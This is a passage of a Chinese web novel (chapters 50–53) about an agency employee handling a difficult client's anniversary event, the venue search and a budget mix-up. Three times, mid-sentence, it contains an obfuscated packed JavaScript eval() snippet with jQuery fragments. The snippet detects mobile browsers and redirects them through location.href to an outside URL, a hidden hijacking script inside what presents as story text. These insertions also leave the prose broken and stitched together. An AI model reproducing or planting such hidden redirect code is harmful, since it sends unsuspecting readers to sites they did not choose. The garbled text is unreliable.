无视萌萌这鬼斧神工的夸奖,我继续吐槽:“她的微信名称和头像,让我原本期待她是一个有幽默感的甜美动漫少女,结果来得却是一个……”我还没想到合适的词语形容她。
“哪个甜美少女会叫自己咔嚓咔嚓,还阴森森的搞把剪刀当头像,爱德华都没她恐怖。”
“她真的不是老巫婆喝了回春药水吗?”小妍的脑回路可以去写恐怖童话小说。
“也许她在制造反差感,你误认为她是萌妹子,结果给你闪现个冰雕美女。”
孟猛如神来之笔来了一句:“我每次见到她,都觉得她跟上一次长得不太一样。”
萌萌大力地拍了下孟猛的肩膀,“你小子有长进啊!居然都能看出她微整了。”
“嘘……老大来了!”
我们这群顶风作案的坏分子,顿时噤若寒蝉。
小剪刀传唤我的次数比爱德华修剪小树枝的频率还高。昨天下午才见第一面,临走之前她叮嘱我“回去好好想想怎么策划,务必拿出与众不同的提案”,我在心里吐槽,你怎么不说惊天地泣鬼神的提案呢。今天上午就打电话给我,说有一些新的想法想要当面聊聊。
“今天你不用来我们公司了,到睿莱斯俱乐部喽。我在那下午茶啦。”
她约的地方是T市最高档的会所,我很疑惑,美妆公司的薪资能够支撑她去那种地方消费吗?经过萌萌的知识普及,我承认之前我真是孤陋寡闻:T市高档场所的消费水平完全不比S市低,
下午两点,是夏季一天中最热的时间。
我叹了一口气,认命地在楼底下等车。出门前,我奔到洗手间给自己又加了一层定妆,倒不是因为要去见她,而是害怕在楼下直接晒化了,粉底啊眉粉啊都跟汗水混在一起化作一滩。
大厅里有人在弹奏钢琴,舒伯特的小夜曲。这里的空调很足,即使从外面进来一身汗,三五分钟,就能让人感受透心凉。
小剪刀穿着她的幸运色小洋装,今天倒是没戴那条能闪瞎人眼的项链,不过那副耳环生怕别人不知道它们的尊贵,巨大的Logo在她的发间晃动,想看不见都困难。
她看都没看我一眼,自顾自嘬着咖啡。我毫不客气坐在了她对面。
“你昨天走之后嘛,我仔细想了想哦,不然搞个假面舞会,你觉得怎么样呢?”
我在心里长长地叹了口气,“小姐,你知道你们是个美妆公司吧?假面?你是懂嘲讽的!”
在本子上潦草地写了个“假面”,旁边打了个问号。
“这个点子很好……”我在椅子上挪动了下身体,“但可能……更适合护肤品产品……黎小姐,要不要再考虑考虑?”我试图把她拉回正轨。
她似乎对自己这个想法非常满意,“你们就围绕假面舞会出个活动策划喽。地点嘛,要高大上,最好是在泰禾广场啦、恒枫大厦啦,旻晟的话,档次就有点差啦。”
我一边飞快地在本子上记录,一边在自己对T市有限的了解中搜寻这些地方的每平方售价,下意识觉得她说的这些地方大概率都是对标S市最繁华的AX广场之类均价十几万一平方的地标式商场。
“黎小姐,按照咱们这次的预算,大概租不了特别奢华的场地……”
这简直就像是拿着10万的预算,说我要在市中心租一个500平方的场地一样滑稽。我先给她打个预防针,免得她的预期在天上飞。
她的脸立马垮了下来,“那总不能在索菲亚酒店那种地方办吧。”
我只能胡乱地点点头,“回头我们找好场地,再带您去看。”
“一定要有水晶灯,如果有那种回旋楼梯就更好喽。氛围就不一样嘛,你懂的。”
我突然想起了WH集团的大厅,那应该百分之百符合黎卡卡小姐的幻想,哦,不,需求。
“那行吧,这一项我们先过喽。我再说说别的想法。”
她见我没有反应,自顾自地说:“现场要布置地端庄大气,但是不能死板哦……我觉得上次WH集团广告片的那个现场氛围就蛮好的,你们可以借鉴下。不过我不喜欢他们那个背景灯,太普通了啦。”虽然听起来,这跟梦话差不多。但有人给钱让你陪他做梦,戳破是不道德的……
真是奇怪,昨天在办公室里她脑袋空空,一旦坐在睿莱斯的大厅,她却像被缪斯女神用棒子击中了一样,灵感一个接一个喷涌,搞得我措手不及。
尽管看上去我的笔在本子上飞速记录着,可我的灵魂漂浮在空中,茫然地看着她嘴巴一张一合。
“还要有宣传视频,这个很重要哦。我的想法是这样子的:假面舞会上,女主角从旋转楼梯上拾步而下,所有人都抬头看她。她和男主角四目相对,一见钟情……”
拍电影呢?这玛丽苏和霸道总裁爱上我的剧情,特别像我高中大学时候异常风靡的桥段。 况且,小姐,他们戴着面具,怎么一见钟情?不然你来我们公
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672154|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
司怎么样,这活儿就交给你了。
“您是说戴着面具一见钟情?”对于这个逻辑漏洞,我忍不住还是问了。
她的表情有点尴尬,瞪着眼睛望着我,“这个不重要啦……”
我很想继续问,这主要剧情不重要,那什么才重要?他们是看彼此的头发一见钟情的吗——我都要怀疑KY下一步是不是要进军洗护界了:飘柔,就这么自信——我想了想,还是忍住了。
黎卡卡小姐这一个下午给我贡献了很多奇怪的创意。
“您继续说。”
“等女主角从楼梯上下来,男主角走上前去,邀请女主角跳舞。他们在大厅中央跳舞,其他的人在旁边看着,最后大家一起跳舞……”
我还在等着她继续往下说,但她就停在了这里。我以为她是等着我接一句“然后呢”,说故事的人,总是希望有听众以期待的心情捧个场,心想得满足甲方预期,于是我情绪饱满地问:“然后呢?”
她望了我一眼,表情非常奇怪,“什么然后?就这样呀。”
我顿时尴尬到都要抠出一座城堡了,就这?就这?!这宣传片从哪儿能看出来是GT集团的周年庆?靠后期配字和弹幕吗?!
尽管我内心的吐槽都快赶上谩骂了,但我依然微笑着点点头,十分违心地对这个如果出台能让GT外加他们KY全体被创飞的创意表示了附和。
说服法则的第一条怎么说的来着——先肯定,再提出自己的改进方案,比较容易让人接受。可还没等我提出改进方案,她的眼神倏的亮了,“你也觉得很棒吧?”
我内心极度崩溃,讪讪地委婉提出建议,“这个类似舞林大会的场景可能不太能凸显咱们年会的属性……”
她的嘴嘟了起来,“不懂欣赏!”
我继续微笑,“我们可以在这个创意的基础上做些调整,把舞蹈融入其中,成为年会的一个环节。”
她不动声色地翻了个白眼。
“对了,你老板最近在忙些什么呀?”她貌似不经意地问。
“我不太清楚,周总不用跟我汇报。”
她无精打采,呷了一口咖啡,皱了一下眉毛,把视线从手机屏幕上移开,直直盯着我,“不是我说你哦,对自己的老板,也要多关心一些呀。”
我在心里默默翻了个白眼,没接她话茬——我是来工作的,又不是来当女仆的。
“行了,暂时就这么多啦,想到其他的,我再打电话给你……”她拿出自己的手机,手指不停在屏幕上戳着,表示关于创意的话题到此为止。
就在我以为今日份窝囊终于要结束的时候,她给我扔了一颗炸弹。
“对了,这次我们周年庆很重要哦,我们暂时计划让任萧来做现场嘉宾呢,你安排一下喽。”
我还没反应过来,只有“任萧”两个字冲击了我的脑神经。
“宣传片的男主角,我觉得也可以请任萧来出演。至于女主角,我就勉强出下镜喽,毕竟是我们KY的周年庆嘛,还是得有自己员工的呀。我做女主角就不收你们费用了啦,是不是很感动?”她继续发挥。
后背的肌肉一紧,脑子里瞬间飙出萌萌和小妍的告诫,感谢我的同事们!
“任萧接了一部新戏,下个月就要进组了,预估要拍到明年了,应该是没有档期的……”我战战兢兢抛出了借口,希望黎小姐听得懂拒绝。
“哎呀,进组又不是坐牢喽……没他戏份的时候出来一下下不就好了嘛。我们周年庆也就那么三五天的,不会耽误他拍戏的啦……”
我在心里冷哼了一声:您还怪会形容的嘞,给人安排得明明白白,不然您去当他经纪人得了。
还没开始推脱,她一张小嘴又在那哔哔哔输出,就像是重型机枪扫射,压根不给人留活路。
“你们公司那个谁,不是跟他经纪人很熟的嘛。让她打个招呼,后面我们没准还要请他做代言人呢。”
“任萧是一线顶流,行程一向都很紧凑……这个您肯定知道。我回头让我们同事问问……”我瞥了她一眼,继续说:“就您刚刚说的,那个跟他经纪人特熟的那个同事。”
她终于满意了,拿勺子搅动咖啡,“要是任萧来不了的话,那只能让你老板来给我们做主持人喽……”
我觉得好像有人在背后狠狠地敲了我的脑壳,整个嗡嗡乱想。脑子如同被扔进了榨汁机,伴随着高速旋转搅得稀烂。
这真是一场让我身心俱疲的会议,我现在特别想冲去WH集团跟Jane开会,哪怕是Jessie也行,虽然她也总是不着边际,可她至少没让我给她搭个空中花园。
提前向叶子打听了,周明凯今天下午跟一个战略级重要的客户会面,肯定不会回公司。我心安理得开溜了,许逸晨说她接了副业的第一单,要请我吃饭庆祝。她定了个非常好吃的西班牙餐馆,唯一的缺点是不能订位必须排队,我当仁不让领取了等位任务。
这一天实在是疲累,只有美食能够安慰。
51. 第 51 章
已经过去了两周,KY周年庆项目的进度依旧为零,尽管我跟黎卡卡开会的频率都快赶上谈恋爱了。也不知道会不会进入蜜月期,可跟客户的磨合期真是难熬。
黎卡卡又提了一些想法,依旧没一个能落地执行。这是什么人家的富贵大小姐,来平民世界感受人间疾苦了吗?我在心里长长地叹了一口气,得嘞,又是白忙活的一个下午。
“黎小姐,您看这样好吗。我先回去,把您的需求整理一遍。然后我们按照优先级把任务排出来,您看下整体的执行计划表。如果没有问题的话,我们就按照计划表推进。”
“不用那么复杂啦。你们找好场地,约好任萧,我们这个项目就成功了一大半了啦。”
我很想把这个案子扔给孟猛,对待客户要像对待感情一样从一而终。
精疲力竭地回到公司,我还没瘫五分钟,就接到了老板的传召。
周明凯翻着手里的材料,“KY集团的案子跟进还顺利吗?”
“不……怎么顺利。”
“上个月他们老板找我聊,我也推脱过,确实推不掉。”
上个月?我细想了想,不会是我搞砸案子那天吧?所以那天周明凯板着脸回来不是因为新合作没搞定,而是因为这案子推不掉?我的CPU快烧炸了,金融危机不是无差别攻击吗,怎么还搞差别对待呢。GT总部业绩刷刷往下掉,T市怎么还有送上门还推不掉的生意呢?世界果然不是公平的,有人是老天爷追着喂饭吃,有些人哭爹喊娘也吃不上口热乎的。
“这案子确实不好做,预算也不高。对接人如果要求不是特别离谱,就答应她。我会找他们老板追加预算。”
“黎小姐的有些需求……确实满足不了。”我斟酌了片刻,决定还是先不告诉他,他有被当作赠品送出的风险。
周明凯没说话,只是盯着我,“先去想办法,不要一上来就觉得不行。”
我心里已经开始吐槽——倒也没有那么不行,最坏的不过就是把他随单赠送而已。
“怎么不说话了?”周明凯一边飞速在文件上签字,一边还不忘顺便鞭策下不上进的我。
萎靡的我战战兢兢地问:“老板,要是我把这案子做砸了,你会不会开了我?”
他乜了我一眼,把签好的文件合上,横着甩过来,“出去的时候把文件带给孟猛,顺便把门带上。”
我哭丧着脸,拿上文件夹,退出办公室。
刚要关上门,飘过来一句:“不会,我只会把你送到KY培训,或者送到WH驻场管项目。”
……
……
……
从某种意义上来说,异曲同工已经不能形容周明凯和黎卡卡了,他俩阖该是天生一对,两朵姿态各异殊途同归的大奇葩。
有气无力地把文件夹扔在孟猛桌子上,“喏,你的签字文件……”
“怎么?挨批了?”
我给了他一个生无可恋,想要速速归天的表情。
小妍唉声叹气地对着电脑屏幕,“看看吧,我整理了小剪刀提的需求……发群里了。”
觅觅翻了翻文件,最后白眼一翻:“这女的,有病吧?她怎么不说要去白金汉宫搞周年庆?”
“老板让我们尽量满足小剪刀的需求,而她的需求之一是任萧参加他们的周年庆。”
“想都别想!”萌萌哀嚎了一声,“任萧的行程已经预定到明年年底了,我敢说爱马仕都没他难预定。”
“那就只能让老大去给他们主持周年庆了。”我生无可恋地望向周明凯办公室,“大萌萌,你说老大会不会嘎了我?”
他们原本的关注点还在那一堆密密麻麻的“场地要挂满鲜花”、“最好有水晶灯、尺寸不要小于一米五”、“参照Givenchy广告背景”、“要有旋转楼梯,最好是在厅的正中央” “格调清新脱俗”等非人类大脑所能完成的任务上面,这一刻全都转过头来望着我,瘆得慌。
“怎……怎么了?”
“醉翁之意不在酒。”萌萌意味深长地压低了声音说:“这个黎卡卡有点东西啊,鱼与熊掌,总能得到一个。她是不是在玩儿‘围魏救赵’啊?”
“啊?”不就是做个方案,怎么还跟兵法扯上关系了?
觅觅点了点头,“萌姐说得对。任萧是没指望了,老大……难说。”
“你先别管把谁交出去,她那个场地要求,就得磨掉一层皮。”萌萌很中肯地评价。
“别的先不说,我只关心他们这个周年庆给多少钱?”孟猛的眼睛本来就大,稍微瞪大一点特别像铜铃。
我伸出五个手指。
“才五十万?”孟猛心痛地摇了摇头,“这经济……真是……以前咱们光月费就不止这个数。”
“可不是,以前只要出创意和策划,现在还得包场地、策划、运营和宣发。”萌萌叹了口气,“就这预算,别说任萧了,连任萧经纪人都请不到。”
我原本就晕乎乎的脑袋,现在更晕了。
“有多少钱干多少活儿呗。”觅觅眨了眨眼睛,“总有客户想用买优衣库的预算买爱马仕,也只能让市场教育他们……”
有一种不祥的预感,这可能会是一场血雨腥风的周年庆。
在有限的预算范围内,萌萌使出了浑身解数,甚至动用了私人关系,蒙哥马利酒店最大的那个宴会厅能以五折优惠价租给我们——虽然不能百分百完美达到小剪刀的需求,但我们都觉得至少是可以交差的程度。
然而,在看场地的第一关,我们就差点遭遇了滑铁卢。
黎卡卡小姐穿着一件米偏杏的改良新中式裙子——她用行动证明了,香槟及其类似颜色集合是她的幸运色,皱着眉头,跟着我们去了几个备选场地。
“这个厅很俗气欸,都什么年代了,还用这种颜色的地砖,又不是真的大理石。”
“这个场地的颜色,说是芥末绿又浓厚了点,况且跟我们的主色调也不搭……”
“一进门一眼望到头,一点层次感都没有……”
“没有吊灯就算了,连个旋转楼梯也没有……”
她兴致缺缺地站在门口点评,好像往里迈一步会吸走她的气运一样,死活都不愿意踏足进去。
萌萌在旁边脸都绿了,她狠狠地戳着自己的手机,“谁能告诉我,真的不能骂这个女人吗?”我握住她的胳膊,低声劝道:“冷静,冷静。”
“还有别的吗?”
萌萌咬牙切齿地回复:“这是最后一个了!”
黎卡卡完全不懂得看人脸色,她把手一甩,“下次要还是这样水准的,就别浪费我时间了。”
萌萌憋得脸都绿了,我使劲拉住了她。
“要不是她是客户,我都想揍这个女的。”萌萌还在回公司路上就在疯狂吐槽,甚至连周明凯都差点遭受无妄之灾。
“现在怎么办?不然我们把预算提一提,找好一点的场地?”
“我们又不是做慈善,现在这些场地费用还是找了关系才能有这个价。跟小剪刀商量商量加点预算。不然真没办法。”萌萌表示她没办法,“按她那个要求,全T市都难找。”
“那不然怎么办?我们给她现场搭一个啊?”觅觅都快忍不住她的白眼了。
“欸?还真别说,我记得有部电视剧里的场景,应该符合她的要求。”孟猛自己陷入了 “是哪部剧来着,我怎么想不起来了……”
“真的假的?”
孟猛使劲
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672155|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回忆了下,“有楼梯,有吊灯,整体环境挺奢华的…”
“你还记得地板长什么样吗?”萌萌对地面耿耿于怀。
“好像是大理石的。”
我和萌萌对视了一眼,何止是符合要求,简直是完美契合。
但孟猛完全想不起来片名,只记得那是一部说豪门恩怨的电视剧。小妍在网上搜了近五年所有的豪门剧,一人分了两部,分头找。我们开始疯狂翻找孟猛说的那个豪门宴会厅,就看我们一组人,每个人都盯着自己的电脑屏幕一动不动,跳过各种外景,专注找宴会派对这些内景镜头。
看了接近一个小时,眼睛已经快抽搐了。我在心里默默吐槽,要说还得是孟猛这个奇葩,谁看电视会关注场地,不应该都关注剧情发展吗?
觅觅问出了一个关键问题,“就算我们找到了那个场景,万一不在T市怎么办?”
集体陷入了沉默。
“那不然……临时照着搭一个?”
五十万的预算,还得负责搭场景,我们这些人工,等于白送。
“萌萌,你觉得有可能搞定吗?”
“我成天打交道的都是那些网红明星的经纪人,这些大概归场务管吧。先找到场景,我回头找朋友问问,看有没有能接私活儿的。”
我们压低声音还没讨论出个结果,小妍接起了电话,老板让我们所有人去他办公室。
“二组投诉你们上班时候,集体看电视剧。”周明凯撸起了袖子,“说说吧,怎么回事?”
孟猛从头到尾把事情说了一遍。
“找着了吗?”
我们集体摇头。
“下午你们就在会议室办公吧。”他把Ipad丢给孟猛,“对外的口径是你们在会议室写检讨,别带电脑去会议室。”
我出去倒水,二组那个李芊芊一副幸灾乐祸的表情。我默默翻了个白眼,暗暗骂了一句:“小人”。
孟猛带上门,把一张纸放在桌上,“目前咱们已经排除掉了五部,还有十部要看……”
萌萌低低哀嚎了一声。
我们拉上了窗帘,打开投影,连上Ipad,关掉声音,围坐在会议桌两侧。
觅觅提议先看剧情简介,提取类似宴会舞会之类的关键词,再定位到集,这样工作量能小一点。几乎全都是豪门恩怨,我在接下来的很长一段时间内大概都不想再看这类型的电视剧。
一路拖拉快进,有一帧镜头处,觅觅喊了停。
我们全员看着女主角从楼梯上缓慢走下来,楼下的人仰头看着她……一个长镜头从水晶吊灯到旋转楼梯,一路跟着女主款款而下。恍惚间,我想起黎卡卡说过的场景,这完全是场景重现!
“就这个!!小剪刀描述的场景百分百还原。”
众人还没兴奋两分钟,萌萌泼了一盆冷水,“这种复古风格,肯定是哪部戏特地搭的场景,还留没留都两说。”
孟猛查了下,这是今年二月份的剧,据现在已经三个多月了。
萌萌泄了气,“剧组一般拍完了就会撤,上线都已经三个月了,最早也得是去年拍的,这个场景肯定拆了。”
周明凯进来的时候,我们一群全瘫在椅子上,像是被黑山老妖吸走了所有精气神的干尸。
他踢了孟猛的凳子一脚,“什么情况?没找到?”
孟猛哧溜从椅子上爬起来,一五一十汇报。
他打了几个电话之后,给了萌萌一个电话,让她联系。
“那个棚还没拆,可以借给你们用。不过里面的陈设都不能动,下部戏进场要用。”
萌萌半天没缓过神来,“卧槽!我们这是什么运气!”
事实证明,我确实是有点狗屎运在身上的。
52. 第 52 章
“你们找到新的场地了?”黎卡卡过了很久才接起电话,她慵懒的鼻音让我怀疑,她是不是翘班在家睡觉——我看了下时间,确定现在是上午十一点半——社畜的正常工作时间。
“不会又是什么老掉牙的场地吧?我的时间可是很宝贵的呢。”
我在心里咒骂:合着就您的时间是时间呗?!真是辛苦您了,牺牲宝贵的醉生梦死时间来对接工作。
“不然我先把场地照片发给您看下先?”我努力保持微笑。
许逸晨告诉我,“即使对方看不见你的表情,但能感知到你的状态”是真的,她有一次跟供应商通电话,感觉对方板着脸跟她说话。结果她挂完电话一回头,果然看见对方一脸晦气的表情。就那么巧,他们在同一个咖啡馆里。也不知道是哪个倒霉的供应商。收起来的镜子又被我摆回了原位置,继续强颜欢笑的悲惨日子。
“发视频吧,看上去会直观一点哦。”
糟糕!没有拍视频,照片还是孟猛提醒才拍的。
“呃……因为……场地有点大,看视频可能会分不清方位……要是您有时间的话,还是现场看下比较好。
“那就是没有拍喽?”黎卡卡拖着不满的腔调说:“不是我说哦,你们老大真的很辛苦哎……一个两个的,做事情都不是很用心的样子……”
欸?这都能扯到周明凯?!
“你们老大跟我对接的时候,每一件事情都恰到好处,妥妥当当……
为了打断她接下来可能一万五千字的彩虹屁小作文,我赶紧扯开了话题,“那个……黎小姐,我把照片给您发过去了。您先看下,如果下午方便的话,可以去看现场。”
电话里没了声音,大概看照片去了。
过了两分钟,她懒洋洋地回复:“地址发我,下午两点看吧。”
我忙不迭答应,生怕这个祖宗再出什么别的幺蛾子。
萌萌打死都不肯再陪我去,说再听到那个女的声音就会忍不住想要把她就地正法。最后,孟猛被我拉了壮丁,谁让他是上一任对接人。
不爱别人迟到的黎小姐又一次迟到了一个小时。虽然还没到酷暑,但六月底已经很热了,尤其是下午两三点,太阳晒得我们汗流浃背。
我俩在闲聊当中打发时间,不可避免地谈到了各自对接时候的情况。当我说到香槟色、米色、杏色这类颜色是她的幸运色,不喜欢别人跟她撞色时,孟猛瞪大了眼睛,“她在开玩笑吧?!”看来,他对接时完全没踩雷。他下意识地朝自己周身看了看,“哦,对,我的衬衫除了白色蓝色就是黑色,压根不可能跟她撞。”
此时,黎卡卡穿着她标志性的香槟色小短裙,戴着巨大的墨镜,从一辆同样是杏色的甲壳虫上下来的时候,孟猛冲我会心一笑。
看到影视城的牌子,她皱着眉,“这附近有什么好酒店啦?”
当知道不是去酒店,而是搭出来的宴会厅时,她满脸不悦,扭头就想走。在我和孟猛的再三保证下,她终于勉为其难同意随便看看。
在大厅里饶了一大圈,她意外没有任何不满,“这个地方嘛,还可以啦。不过,我不喜欢这一排椅子的颜色,能刷成粉蓝色嘛?”
又给我难住了,“黎小姐,咱们这个场地是租借的,后期要原样还回去的。”
“这样噢?他们什么品味嘛!”她深深叹了口气,又转了一圈,“那也只好这样咯,没有百分百满意啦……”
我还没来得及吐出一口气,小剪刀又扔出了另一颗重磅炸弹,“任萧那边有联系上嘛?怎么说?”
“他……那个新剧要提前进组。”孟猛给我解了围,“我……们同事昨天才跟经纪人通过电话,任萧的日程已经排到明年了,恐怕是接不了我们的工作。经纪人表示太遗憾了。”
黎卡卡望着孟猛两眼放光,但又保持着矜持,“你们有去探班吗?出于后续的合作考虑,我……也可以去的呢。”
追星少女上线。
“新剧封闭式训练,连经纪人都只能晚上联系……”孟猛信口开河的本事让我叹服。
虽然我们没有提前对过,口径却出奇一致,大概是工作中培养出的默契。
黎卡卡悻悻然,但也没办法。
回到公司,萌萌正龇牙咧嘴奋力地敲打着键盘,好像键盘跟她有杀父之仇——不用问,肯定又是哪个接了单的KOL/KOC拖稿了。
我向她们复述了孟猛的精彩表演。萌萌叹息,真是关关难过关关过。
好不容易场地问题搞定了,接下来就是周年庆的流程策划,但黎小姐要求“与众不同”、“别开生面”、“别出心裁”、“清新脱俗”及“振聋发聩”……该说不说,她的成语还用得怪溜的,一连串的指导性建议,实操性一点没有。
“不会真要搞小剪刀说的假面舞会吧?”
“不了吧……我怕方案交上去,我们公司就被KY集团除名了。”
我俩双双叹气,萌萌望着天花板不知道在想什么。我还在抓耳挠腮想流程方案,如果完全不采用小剪刀的想法,她应该会很不高兴吧。怎么把甲方奇葩创意融合进方案,就挺头疼的。
“走,买蛋糕去。”
萌萌解决愤怒的方式简单粗暴,就是吃高热量食物。平时避之不及的蛋糕奶茶汉堡包,都成了新宠。至于减肥,以后再说。
……
“谁告诉你项目预算是五十万?”周明凯一脸便秘的表情。
我一下就慌了,难道我多看了个零,项目预算才五万吗?那我们岂不是要亏本亏到内裤都没了?!我顿时懊恼不已,早知道才五万块预算,还费那么大劲儿干嘛?也难怪周明凯生气。
他一副哭笑不得的表情,“安冉然,你当年是怎么考上大学的?”
“数学……不是我的强项。”我下意识咬了下嘴唇,“但我及格了的。”虽然是刚刚及格。
“你把文件夹拿过来,当着我的面好好看看。”
我一个零一个零数过去,没错啊,六个零,前面一个五,不是五十万吗?
偷瞄了周明凯的脸色,他皱着的眉头能夹死每一只从他面前飞过的苍蝇。
但我又不能直接说自己没数错,于是硬着头皮又数了一遍,“老大……这……五十万,没错啊。”
周明凯叹了口气,“幸好没让你转岗去做会计,不然你给供应商打款,公司早破产了。”
“我点,你读,个十百千万总会吧?”
我点点头,当他点到五的时候,我读出了“百万”。
愣了一会儿,我尖叫:“五百万?!”
周明凯皱了下眉毛,往后退了一步,想要捂耳朵,又觉得丢了气势。脸上的表情更是看不懂,也不知该笑还是该
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672156|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
哭。
这单的利润高到没法跟公司解释。更棘手的是,如果平均利润率被拉高,到时候国外总部认为这在高速发展的中国是常态,提高利润率要求,那可就真是给自己挖坑了。
我还在震惊中没缓过神来,就听周明凯说:“你让萌萌找两个咖位高的明星撑撑场面,然后跟酒店打好招呼,餐标按他们的最高标准。每桌再加一只澳龙。”
说实话,我不知道自己是怎么走回工位的,感觉整个人都迷迷瞪瞪,像踩在云上。
萌萌首先发现我不对劲,她走到我面前,戳一戳我的酒窝,“怎么了?从老大办公室出来就一副丢了魂的样子。”
我仰起头看她,抽了一口气,“我弄错了预算。”
孟猛第一个跳了起来,“不会吧?!KY那么大个集团,搞个周年庆五十万都不给?”
“不是少了,是多了。”
孟猛还在那逼逼叨一个大集团这么寒碜,突然反应过来,“啊?多了?”
整组人对我这个乌龙啼笑皆非。
“这么看起来,小剪刀的要求也不算太过分……”小妍嘟囔着说,“那我们这次不是能赚很多!!!”
“我已经看到了闪闪发光的年终奖在向我招手。”觅觅难得在对着电脑画图的时候不是万年冰块脸。
“老大说要找两个高咖位的撑场面。”
萌萌笑得眼睛都快合不上了,“应该的,应该的……包在我身上,虽然任萧就别想了,但二三线明星,去刷刷脸还是能有的。”
“不然我们就让老大去主持吧,还能省笔费用……”
“你懂什么呀!”萌萌给了孟猛一个肘击,“利润率太高,以后审计得麻烦死。”
“那我不是怕二三线明星,小剪刀不买账……”
我们集体垮了脸,萌萌托着腮帮想了想,“要不……我们还是把老大送去算了。”
果不其然,黎卡卡小姐在他们周年庆主持嘉宾的选择上寸土不让,她表示就算请不到任萧,也不能档次差太多。至于我们建议的互动环节和抽奖礼品,她听都不想听。我十分怀疑,小剪刀不是搞年会,而是准备给自己办生日会。
萌萌翻了个白眼,“得,他们给的钱够不够现在两说。”
我问她一线明星出场费多少,她给我亮了一根手指,“最少这个数。”
我们对视了几秒钟,整齐的瘫在了位置上。
眼看又要成亏本买卖了,我咬咬牙,“不然让老大去。”
萌萌从椅子上弹起来,甚至有摩拳擦掌的架势,“你去说还是我去说?”
“哪儿啊,老大说,不行再去问KY要点钱。”
萌萌两眼一翻,又像条被挑了筋的泥鳅一样瘫回了椅子里。
我们对于黎卡卡的背景极为好奇,她到底是何方神圣,这么折腾都没人管。好像她也不需要跟上级汇报,就算是关系户,这背景是不是太强了点。
萌萌说她的人脉还没有覆盖到民营公司,让我们等一等,她正在动用八百年都没联系过的同学关系打探情况。那位仁兄据说眼下就职于一家跟KY集团有业务往来的民营公司,好像还是某个板块的业务负责人。萌萌撇撇嘴,“以前那伙计什么都搞不明白,谁能想到他居然当领导了。”
我不由感慨,世界远比我们想象的小,也远比我们想象的迷幻。
53. 第 53 章
打开Pad,我漫无目的地在各个软件中游走。现在橙色购物软件已经失去了我的青睐,囊中羞涩的境况下,我的策略是远离一切能让我花钱的地方。社交媒体也让我觉得厌倦,窥探别人生活的欲望消减了之后,热搜和明星八卦都显得毫无诚意;阅读软件早就是荒草丛生, 最后,我停留在了视频软件当中。
看什么成了下一个难题,新鲜上映的电影看上去了无新意,经典电影需要静心欣赏,综艺的快乐打动不了我……刷到了一个美食节目。
夏天很容易没胃口,美食主播在做的是凉拌素面,清爽的面条配上黄瓜丝西红柿丁和金枪鱼肉,看得我胃口大开。
对于做饭这件事情,我自知没有天赋,曾经也想过照着食谱勤学苦练一番,可我不但搞不清楚“少许”、“适量”这些词到底是多少用量,甚至有的时候会把糖和盐弄混,对自己没有信心也就在所难免。不过这位主播信誓旦旦宣称就算是料理白痴,根据她的步骤都能做出美味的凉拌面,我有点心动。
翻了翻冰箱,正好还有一根小黄瓜,上次许逸晨买的西红柿也还剩一个,金枪鱼确实没有,大概用肉松也能代替?
我吸了吸鼻子,开始煮面条。看着水咕嘟咕嘟煮开,我把面条撒进去,然后对着它发呆,时不时拿筷子戳一下。靠着不断把视频往回拖,秉承着主播放一勺调料,我绝不放第二勺的原则,凉拌面顺利出锅。
久违地给自己做了一顿晚饭,满心升起欢腾。看起来很有食欲,我信心满满地用筷子把面条挑起来,想着做饭也没有难嘛,塞了一大口进嘴。吃第一口,我就吐了出来——这面咸到发苦,我想了下,大概是把酱油当作醋来调汁了,还狠狠倒了两大勺。
我的厨艺就像是彩票,味道随机,有时候将就能吃,大部分时候令人失望,亏本的概率远大于中奖的概率。
怀着如丧考妣的心情,我把整碗面倒进了垃圾桶。尽管食欲走了,但盘旋在空气中是一种说不清道不明的感觉。细细品味,这种不知是该叫孤独还是寂寞的东西,一下攫住了我……
正当我自怨自艾的时候,微信响了。
我擦了擦手,拿起手机。
“老大,什么时候去你家BBQ?我记得你家有个超级大的露台……”萌萌在提议之后加了一连串的emoji表情,又是烟花又是气球,显得非常喜庆热闹。
“你们这群皮猴子,去年就差点炸了我的厨房。今年是想连房子都炸了?”
“吃烧烤,喝啤酒……老大,你想想这该有多爽。”孟猛继续拱火,“今年不是流行什么城市露营,那些露营点我都看过了,没您家大露台有氛围。”
“就是就是,咱们都好久没团建了。最近这些个客户,可是越来越难伺候了……”萌萌打了个委屈的表情,一副可怜兮兮的样子。
“吃烧烤太上火了,而且中午太热,”周明凯依旧是一副养生老干部的腔调,“就晚上一顿吧。”
“别呀,老大。周日有漫长的一整个白天要打发呢……”孟猛死缠烂打的功夫不知道是跟谁学的,根据我这一段时间的观察,孟猛做提案的能力不能跟他开拓客户的能力相提并论。我很想知道,他会不会对客户死缠烂打。
